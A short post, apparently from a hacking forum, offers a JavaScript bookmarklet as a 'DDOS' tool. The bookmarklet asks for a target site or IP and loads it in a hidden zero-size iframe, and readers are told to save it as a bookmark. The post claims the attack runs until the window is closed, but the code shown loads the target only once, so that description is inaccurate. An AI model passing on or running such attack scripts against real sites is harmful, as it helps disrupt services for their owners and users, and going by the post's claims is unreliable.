[hacxx]

Code:

javascript:var keyword=prompt("Type target site or IP! (ex: http://127.0.0.1)","");function infinite(){document.write('Attack Send...<iframe src="'+keyword+'" width="0" height="0" frameborder="0"></iframe><br>');}infinite();

Save the code as a bookmark to have this feature directly on your browser.

Note: This DDOS only stops if the user close the window.
Note: The machine may run slower until DDOS stop.